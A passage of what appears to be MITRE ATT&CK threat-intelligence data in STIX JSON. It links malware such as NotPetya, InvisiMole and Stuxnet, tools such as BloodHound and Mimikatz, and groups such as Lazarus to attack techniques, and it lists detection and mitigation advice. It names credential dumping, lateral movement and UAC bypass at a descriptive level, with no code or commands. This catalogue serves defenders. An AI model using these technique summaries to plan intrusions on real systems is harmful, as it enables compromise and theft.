2020."}],"modified":"2020-11-24T20:07:19.431Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can enumerate and collect the properties of domain computers, including domain controllers.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e21a2fb4-1ba6-41dc-9278-72f6824382d8","type":"relationship","created":"2019-03-26T16:19:52.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."},{"description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","source_name":"US-CERT NotPetya 2017"}],"modified":"2020-03-16T18:46:47.182Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) can use valid credentials with [PsExec](https://attack.mitre.org/software/S0029) or <code>wmic</code> to spread itself to remote systems.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--40c5a024-37db-478b-b90f-27f184bf8f60","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Tasklist","description":"Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.","url":"https://technet.microsoft.com/en-us/library/bb491010.aspx"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Tasklist](https://attack.mitre.org/software/S0057) can be used to discover services running on a system.(Citation: Microsoft Tasklist)","relationship_type":"uses","source_ref":"tool--2e45723a-31da-4a7e-aaa6-e01998a6788f","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65493f92-06f8-407c-8fdb-f53706849b12","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). 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Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[DDKONG](https://attack.mitre.org/software/S0255) communicates over raw TCP.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb","target_ref":"attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--93f1d277-685d-46ee-a796-a50641364fbc","type":"relationship","created":"2021-06-07T13:33:29.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."},{"source_name":"CISA AR21-126A FIVEHANDS May 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a","description":"CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021."},{"source_name":"NCC Group Fivehands June 2021","url":"https://research.nccgroup.com/2021/06/15/handy-guide-to-a-new-fivehands-ransomware-variant/","description":"Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. 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In some cases the URLs were shortened or linked to Word documents with malicious macros that executed PowerShells scripts to download [Pupy](https://attack.mitre.org/software/S0192).(Citation: Secureworks Cobalt Gypsy Feb 2017)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)","modified":"2022-04-08T18:12:50.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fc8ef14d-1a07-4f96-85c3-b62ba6bcffc1","type":"relationship","created":"2020-03-16T14:49:02.714Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-02-10T22:26:34.264Z","description":"Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (C:\\Windows\\System32\\ by default) of a domain controller and/or local computer with a corresponding entry in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages. 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Retrieved April 24, 2019."}],"modified":"2022-03-25T19:42:13.073Z","description":"Leverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8785b9f9-52dd-4bf5-8e88-b80c4c28dc7f","type":"relationship","created":"2021-02-03T19:05:17.898Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. 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Retrieved June 11, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Sandworm Team](https://attack.mitre.org/groups/G0034)'s plainpwd tool is a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) and dumps Windows credentials from system memory.(Citation: ESET Telebots Dec 2016)(Citation: ESET Telebots June 2017)\t","modified":"2022-04-12T19:10:30.286Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4c2c54e-3980-45a4-92cb-c0d99bc0a428","type":"relationship","created":"2019-04-02T15:58:12.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. 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Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.883Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) has a feature to create local user accounts.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff3b4b17-7d3f-43a9-8e9a-ce56909da725","type":"relationship","created":"2020-05-18T19:37:52.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro POWERSTATS V3 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/","description":"Lunghi, D. and Horejsi, J.. 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Retrieved May 14, 2020."}],"modified":"2020-05-18T19:37:52.273Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has used <code>get_tasklist</code> to discover processes on the compromised host.(Citation: TrendMicro POWERSTATS V3 June 2019)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00e25bca-7df1-464e-94a4-cc13124e1d0c","type":"relationship","created":"2020-04-29T18:44:04.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). 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Retrieved April 27, 2020."}],"modified":"2020-04-29T18:44:04.814Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) sent username, computer name, and the previously generated UUID in reply to a \"who\" command from C2.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a6a4bbf3-7a2e-46ae-877a-614bf9f81644","type":"relationship","created":"2021-03-12T16:55:09.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. 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Retrieved March 8, 2021."}],"modified":"2021-04-25T21:45:21.223Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has used decoy traffic to surround its malicious network traffic to avoid detection.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--726e2014-a0d6-4ed3-959b-2ad647884f5c","created":"2022-04-19T01:50:32.976Z","x_mitre_version":"0.1","external_references":[{"source_name":"Symantec W.32 Stuxnet Dossier","url":"https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ","description":"Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Stuxnet](https://attack.mitre.org/software/S0603) can delete OLE Automation and SQL stored procedures used to store malicious payloads.(Citation: Symantec W.32 Stuxnet Dossier)","modified":"2022-04-19T01:50:32.976Z","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3ac0aee3-9da3-4049-adee-8503e4b4f42a","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes to login hook files (<code>/Library/Preferences/com.apple.loginwindow.plist</code>), especially by unusual accounts outside of normal administration duties.","modified":"2022-04-16T02:46:45.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--393a7e7b-0fe7-4b93-920f-fc1b62652c5a","type":"relationship","created":"2020-06-16T18:32:29.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. 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Organizations should limit the number of users within the organization with an IAM role that has administrative privileges, strive to reduce all permanent privileged role assignments, and conduct periodic entitlement reviews on IAM users, roles and policies.(Citation: Mandiant M-Trends 2020)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b6a4a0f-eb26-4cc0-ab69-b88244a25fee","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. User file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b3c50e22-4f4c-490c-9284-0af1c0543821","created":"2022-04-15T18:19:38.507Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC FoggyWeb September 2021","url":"https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/","description":"Ramin Nafisi. (2021, September 27). FoggyWeb: Targeted NOBELIUM malware leads to persistent backdoor. Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can check for the [FoggyWeb](https://attack.mitre.org/software/S0661) backdoor .pri file on a compromised AD FS server.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:35:44.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--21198a81-0fa4-4114-9a75-478e7212b87a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. 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Retrieved November 13, 2018."}],"modified":"2019-04-17T22:05:05.920Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c507e487-2213-46de-87fa-9879b31995b7","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor executed commands and arguments that may indicate common cryptomining functionality ","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d0a2aa1e-a824-47b8-99a5-c2d026c9432d","type":"relationship","created":"2021-03-12T14:01:37.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Leonardo Turla Penquin May 2020","url":"https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf","description":"Leonardo. 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Retrieved March 8, 2021."}],"modified":"2021-04-16T21:33:50.512Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used [GoldFinder](https://attack.mitre.org/software/S0597) to perform HTTP GET requests to check internet connectivity and identify HTTP proxy servers and other redirectors that an HTTP request travels through.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02d6312e-7747-4fb0-b9a4-cb59d9a243f1","type":"relationship","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.840Z","description":"Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)","source_ref":"x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DRSR Dec 2017","description":"Microsoft. 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Retrieved December 4, 2017.","url":"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47f580c1-77ea-48a6-a280-71bbcb4707d0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. 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Retrieved April 16, 2019."}],"modified":"2019-04-18T20:59:56.995Z","description":"[SamSam](https://attack.mitre.org/software/S0370) has been seen using AES or DES to encrypt payloads and payload components.(Citation: Sophos SamSam Apr 2018)(Citation: Talos SamSam Jan 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--62359eba-e21f-46f1-9fb2-a3ec9d52acb3","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. 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Retrieved March 22, 2022."},{"source_name":"Lazarus APT January 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018."},{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has conducted C2 over HTTP and HTTPS.(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)(Citation: ESET Twitter Ida Pro Nov 2021)","modified":"2022-04-13T16:01:42.048Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae1ee1dc-6017-4177-b34c-70db166a939e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/","description":"F-Secure. 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(2017, May 23). Cobalt Strike 3.8 – Who’s Your Daddy?. Retrieved June 4, 2019."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. 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Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. 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Retrieved August 9, 2018.","url":"https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c9412068-a35c-4be3-9945-a1f69f2f77db","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-07-17T19:22:28.806Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use fileless UAC bypass and create an elevated COM object to escalate privileges.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. 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Retrieved April 11, 2018.","url":"https://msitpros.com/?p=3960"}],"modified":"2020-01-31T18:58:17.404Z","description":"Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ced83af5-76c5-4319-8d30-9682f71fe84f","created":"2021-11-24T21:30:57.969Z","x_mitre_version":"1.0","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LazyScripter](https://attack.mitre.org/groups/G0140) has used `rundll32.exe` to execute [Koadic](https://attack.mitre.org/software/S0250) stagers.(Citation: MalwareBytes LazyScripter Feb 2021) ","modified":"2022-04-06T18:15:39.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--abc5a1d4-f0dc-49d1-88a1-4a80e478bb03","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917","type":"relationship","created":"2017-05-31T21:33:27.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-22T18:12:23.854Z","relationship_type":"mitigates","source_ref":"course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d56622d-547